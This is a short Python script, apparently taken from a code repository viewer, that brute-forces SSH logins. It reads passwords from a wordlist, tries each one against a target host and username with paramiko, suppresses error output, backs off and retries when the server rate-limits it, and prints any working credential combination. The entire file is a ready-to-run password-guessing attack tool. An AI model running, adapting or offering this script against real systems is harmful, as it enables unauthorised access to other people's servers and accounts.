blob: 9f2a001ad39fc692b20e54715f1f57cc00d41510 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
import sys
import paramiko
import socket
import time
import os
# anything that running this program prints to stderr should be
# redirected to /dev/null
#
os.dup2(os.open(os.devnull, os.O_WRONLY), 2)
def is_ssh_open(hostname, username, password):
# initialize SSH client
client = paramiko.SSHClient()
# add to know hosts
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(hostname=hostname, username=username, password=password, timeout=3)
except socket.timeout:
# this is when host is unreachable
print(f"[!] Host: {hostname} is unreachable, timed out.")
return False
except paramiko.AuthenticationException:
print(f"[!] Invalid credentials for {username}:{password}")
return False
except paramiko.SSHException:
print(f"[*] Quota exceeded, retrying with delay...")
# sleep for a minute
time.sleep(60)
return is_ssh_open(hostname, username, password)
else:
# connection was established successfully
print(f"[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}")
return True
if __name__ == "__main__":
with open(sys.argv[3]) as wordlist:
for password in wordlist.readlines():
password=password.strip("\n")
if password.startswith('#'):
pass
else:
if is_ssh_open(sys.argv[1], sys.argv[2], password) == True:
break
|